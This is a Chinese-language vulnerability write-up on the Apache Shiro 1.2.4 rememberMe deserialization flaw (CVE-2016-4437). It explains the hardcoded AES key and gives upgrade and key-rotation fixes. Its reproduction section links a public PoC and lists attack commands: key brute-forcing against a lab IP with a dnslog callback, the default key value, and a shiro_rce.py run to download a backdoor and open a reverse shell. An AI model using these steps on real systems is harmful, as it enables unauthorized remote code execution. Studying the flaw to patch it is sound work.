Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)


0x01簡介

Apache Shiro是一款開源安全框架,提供身份驗證、授權、密碼學和會話管理。Shiro框架直觀、易用,同時也能提供健壯的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用戶信息序列化后存儲在名為remember-me的Cookie中。攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。

0x02漏洞影響

只要rememberMe的AES加密密鑰泄露,無論shiro是什么版本都會導致反序列化漏洞。

0x03漏洞分析

先看下官網漏洞說明:https://issues.apache.org/jira/browse/SHIRO-550

Shiro提供了記住我(RememberMe)的功能,關閉了瀏覽器下次再打開時還是能記住你是誰,下次訪問時無需再登錄即可訪問。

Shiro對rememberMe的cookie做了加密處理,shiro在CookieRememberMeManaer類中將cookie中rememberMe字段內容分別進行 序列化、AES加密、Base64編碼操作。

在識別身份的時候,需要對Cookie里的rememberMe字段解密。根據加密的順序,不難知道解密的順序為:

  • 獲取rememberMe cookie
  • base64 decode
  • 解密AES
  • 反序列化

但是,AES加密的密鑰Key被硬編碼在代碼里,意味着每個人通過源代碼都能拿到AES加密的密鑰。因此,攻擊者構造一個惡意的對象,並且對其序列化,AES加密,base64編碼后,作為cookie的rememberMe字段發送。Shiro將rememberMe進行解密並且反序列化,最終造成反序列化漏洞。

0x04漏洞復現

poc:https://github.com/Kit4y/Awesome_shiro

shiro_crack.py 爆破模塊

python shiro_crack.py  http://192.168.1.109/login.jsp  gzqes6.dnslog.cn

key:kPH.bIxk5D2deZiIxcaaaA

CommonsCollections2

修改shiro-rce.py

下載后門

監聽

反彈shell

 python  shiro_rce.py  http://192.168.1.109/login.jsp  "/bin/bash shell"

0x05 修復建議

  1. 升級shiro到1.2.5及以上
  2. 現在使用的rememberMe的AES加密密鑰泄露,請自己base64一個AES的密鑰,或者利用官方提供的方法生成密鑰org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
  3. 參考文章:https://blog.csdn.net/jiangbb8686/article/details/100158480


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM